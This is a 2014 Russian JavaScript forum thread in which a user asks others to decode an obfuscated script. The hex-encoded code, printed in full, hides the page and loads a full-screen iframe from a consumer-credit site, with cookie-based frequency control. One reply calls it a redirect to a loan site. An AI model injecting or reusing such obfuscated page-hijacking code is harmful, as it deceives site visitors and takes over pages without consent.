Javascript-форум (https://javascript.ru/forum/)
-   Events/DOM/Window (https://javascript.ru/forum/events/)
-   -   Помогите расшифровать js (https://javascript.ru/forum/events/46970-pomogite-rasshifrovat-js.html)

kurok 02.05.2014 22:18

Помогите расшифровать js
 
Здравствуйте помогите расшифровать js

var _0xf597=["\x6F\x76\x65\x72\x66\x6C\x6F\x77","\x73\x74\x79\x 6C\x65","\x62\x6F\x64\x79","\x68\x69\x64\x64\x65\x 6E","\x6E\x61\x64\x6F\x64\x6F\x6D\x65\x6E","\x72\x 65\x66\x65\x72\x72\x65\x72","\x68\x74\x74\x70\x3A\ x2F\x2F\x63\x72\x65\x64\x69\x74\x2E\x6E\x61\x64\x6 F\x64\x6F\x6D\x65\x6E\x2E\x72\x75","\x31\x20\x64\x 61\x79\x73","","\x7A\x6C\x6F\x79\x63\x6F\x6F\x6B\x 69\x65","\x70\x61\x74\x68\x3D\x2F","\x6F\x70\x65\x 72\x61","\x67\x65\x74\x53\x65\x6C\x65\x63\x74\x69\ x6F\x6E","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71 \x75\x65\x73\x74","\x3C\x64\x69\x76\x20\x69\x64\x3 D\x22\x73\x6C\x61\x73\x68\x70\x61\x67\x65\x22\x20\ x73\x74\x79\x6C\x65\x3D\x22\x70\x6F\x73\x69\x74\x6 9\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\ x3B\x20\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x31\x3 0\x30\x30\x30\x30\x30\x30\x30\x30\x3B\x20\x63\x6F\ x6C\x6F\x72\x3A\x20\x77\x68\x69\x74\x65\x3B\x20\x6 2\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\ x6C\x6F\x72\x3A\x77\x68\x69\x74\x65\x22\x3E","\x77 \x72\x69\x74\x65","\x3C\x69\x66\x72\x61\x6D\x65\x2 0\x6E\x61\x6D\x65\x3D\x22\x7A\x6C\x6F\x79\x2D\x69\ x66\x72\x61\x6D\x65\x22\x20\x73\x72\x63\x3D\x22\x6 1\x62\x6F\x75\x74\x3A\x62\x6C\x61\x6E\x6B\x22\x20\ x73\x74\x79\x6C\x65\x3D\x22\x6D\x61\x72\x67\x69\x6 E\x3A\x30\x3B\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\ x30\x3B\x20\x77\x69\x64\x74\x68\x3A\x31\x30\x30\x2 5\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x31\x30\ x30\x25\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3 E","\x3C\x62\x72\x20\x2F\x3E\x20\x3C\x2F\x64\x69\x 76\x3E","\x7A\x6C\x6F\x79\x72\x65\x66","\x73\x6C\x 61\x73\x68\x70\x61\x67\x65","\x67\x65\x74\x45\x6C\ x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x73\x70\x6C \x61\x73\x68\x69\x66\x72\x61\x6D\x65\x72\x65\x66", "\x7A\x6C\x6F\x79\x2D\x69\x66\x72\x61\x6D\x65","\x 66\x72\x61\x6D\x65\x73","\x7A\x6C\x6F\x79\x75\x72\ x6C","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\ x61\x74\x69\x6F\x6E","\x73\x74\x61\x6E\x64\x61\x72 \x64\x62\x6F\x64\x79","\x63\x6F\x6D\x70\x61\x74\x4 D\x6F\x64\x65","\x43\x53\x53\x31\x43\x6F\x6D\x70\x 61\x74","\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\ x65\x6D\x65\x6E\x74","\x75\x73\x65\x72\x41\x67\x65 \x6E\x74","\x74\x65\x73\x74","\x6C\x65\x66\x74","\ x74\x6F\x70","\x77\x69\x64\x74\x68","\x31\x30\x30\ x25","\x68\x65\x69\x67\x68\x74","\x6D\x6F\x76\x65\ x75\x70\x74\x69\x6D\x65\x72","\x64\x69\x73\x70\x6C \x61\x79","\x6E\x6F\x6E\x65","\x61\x62\x6F\x75\x74 \x3A\x62\x6C\x61\x6E\x6B","\x61\x75\x74\x6F","\x65 \x6E\x61\x62\x6C\x65\x66\x72\x65\x71\x75\x65\x6E\x 63\x79","\x64\x69\x73\x70\x6C\x61\x79\x66\x72\x65\ x71\x75\x65\x6E\x63\x79","\x63\x6F\x6F\x6B\x69\x65 \x6E\x61\x6D\x65","\x5F\x73","\x67\x65\x74\x43\x6F \x6F\x6B\x69\x65","\x6C\x6F\x61\x64\x65\x64","\x73 \x65\x74\x43\x6F\x6F\x6B\x69\x65","\x6C\x61\x75\x6 E\x63\x68","\x6F\x75\x74\x70\x75\x74","\x61\x75\x7 4\x6F\x68\x69\x64\x65\x74\x69\x6D\x65\x72","\x7A\x 6C\x6F\x79\x2E\x63\x6C\x6F\x73\x65\x69\x74\x28\x29 ","\x3D\x5B\x5E\x3B\x5D\x2B","\x69","\x6D\x61\x74\ x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x73\x 70\x6C\x69\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\ x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\ x44\x61\x74\x65","\x3B\x20\x65\x78\x70\x69\x72\x65 \x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6 E\x67","\x3B\x20","\x62\x72\x6F\x77\x73\x65\x72\x6 4\x65\x74\x65\x63\x74\x73\x74\x72","\x73\x70\x6C\x 61\x73\x68\x65\x6E\x61\x62\x6C\x65\x64","\x69\x6E\ x69\x74"];document[_0xf597[2]][_0xf597[1]][_0xf597[0]]=_0xf597[3];PS=17;yandex=_0xf597[4];var r=document[_0xf597[5]];var zloy={splashenabled:1,zloyurl:_0xf597[6],enablefrequency:0,displayfrequency:_0xf597[7],defineheader:_0xf597[8],cookiename:[_0xf597[9],_0xf597[10]],autohidetimer:0,launch:false,browserdetectstr:(wi ndow[_0xf597[11]]&&window[_0xf597[12]])||(!window[_0xf597[11]]&&window[_0xf597[13]]),output:function (){document[_0xf597[15]](_0xf597[14]);document[_0xf597[15]](_0xf597[16]);document[_0xf597[15]](_0xf597[17]);this[_0xf597[18]]=document[_0xf597[20]](_0xf597[19]);this[_0xf597[21]]=window[_0xf597[23]][_0xf597[22]];this[_0xf597[21]][_0xf597[26]][_0xf597[25]](this[_0xf597[24]]);this[_0xf597[27]]=(document[_0xf597[28]]==_0xf597[29])?document[_0xf597[30]]:document[_0xf597[2]];if(!/safari/i[_0xf597[32]](navigator[_0xf597[31]])){this[_0xf597[27]][_0xf597[1]][_0xf597[0]]=_0xf597[3];} ;this[_0xf597[18]][_0xf597[1]][_0xf597[33]]=0;this[_0xf597[18]][_0xf597[1]][_0xf597[34]]=0;this[_0xf597[18]][_0xf597[1]][_0xf597[35]]=_0xf597[36];this[_0xf597[18]][_0xf597[1]][_0xf597[37]]=_0xf597[36];} ,closeit:function (){clearInterval(this[_0xf597[38]]);this[_0xf597[18]][_0xf597[1]][_0xf597[39]]=_0xf597[40];this[_0xf597[21]][_0xf597[26]][_0xf597[25]](_0xf597[41]);this[_0xf597[27]][_0xf597[1]][_0xf597[0]]=_0xf597[42];} ,init:function (){if(this[_0xf597[43]]==1){if(/sessiononly/i[_0xf597[32]](this[_0xf597[44]])){if(this[_0xf597[47]](this[_0xf597[45]][0]+_0xf597[46])==null){this[_0xf597[49]](this[_0xf597[45]][0]+_0xf597[46],_0xf597[48]);this[_0xf597[50]]=true;} ;} else {if(/day/i[_0xf597[32]](this[_0xf597[44]])){if(this[_0xf597[47]](this[_0xf597[45]][0])==null||parseInt(this[_0xf597[47]](this[_0xf597[45]][0]))!=parseInt(this[_0xf597[44]])){this[_0xf597[49]](this[_0xf597[45]][0],parseInt(this[_0xf597[44]]),parseInt(this[_0xf597[44]]));this[_0xf597[50]]=true;} ;} ;} ;} else {this[_0xf597[50]]=true;} ;if(this[_0xf597[50]]){this[_0xf597[51]]();if(parseInt(this[_0xf597[52]])>0){setTimeout(_0xf597[53],parseInt(this[_0xf597[52]])*1000);} ;} ;} ,getCookie:function (_0xa6c7x3){var _0xa6c7x4= new RegExp(_0xa6c7x3+_0xf597[54],_0xf597[55]);if(document[_0xf597[57]][_0xf597[56]](_0xa6c7x4)){return document[_0xf597[57]][_0xf597[56]](_0xa6c7x4)[0][_0xf597[59]](_0xf597[58])[1];} ;return null;} ,setCookie:function (_0xa6c7x5,_0xa6c7x6,_0xa6c7x7){var _0xa6c7x8= new Date();if( typeof _0xa6c7x7!=_0xf597[60]){var _0xa6c7x9=_0xa6c7x8[_0xf597[62]](_0xa6c7x8[_0xf597[61]]()+parseInt(_0xa6c7x7));document[_0xf597[57]]=_0xa6c7x5+_0xf597[58]+_0xa6c7x6+_0xf597[63]+_0xa6c7x8[_0xf597[64]]()+_0xf597[65]+zloy[_0xf597[45]][1];} else {document[_0xf597[57]]=_0xa6c7x5+_0xf597[58]+_0xa6c7x6+_0xf597[65]+zloy[_0xf597[45]][1];} ;} };if(zloy[_0xf597[66]]&&zloy[_0xf597[67]]==1){zloy[_0xf597[68]]();} ;

pavelrer 04.05.2014 00:06

http://ddecode.com/phpdecoder/

MallSerg 06.05.2014 16:06

Это скрипт который редиректит страницу на сайт где впаривают потребительские кредиты.
Приведенный код не валидный и расшифровке почти не поддается =)

рони 06.05.2014 17:22

:( MallSerg,
код валидный -- но отформатирован как текст
kurok,
не знает о кнопке


Часовой пояс GMT +3, время: 18:01.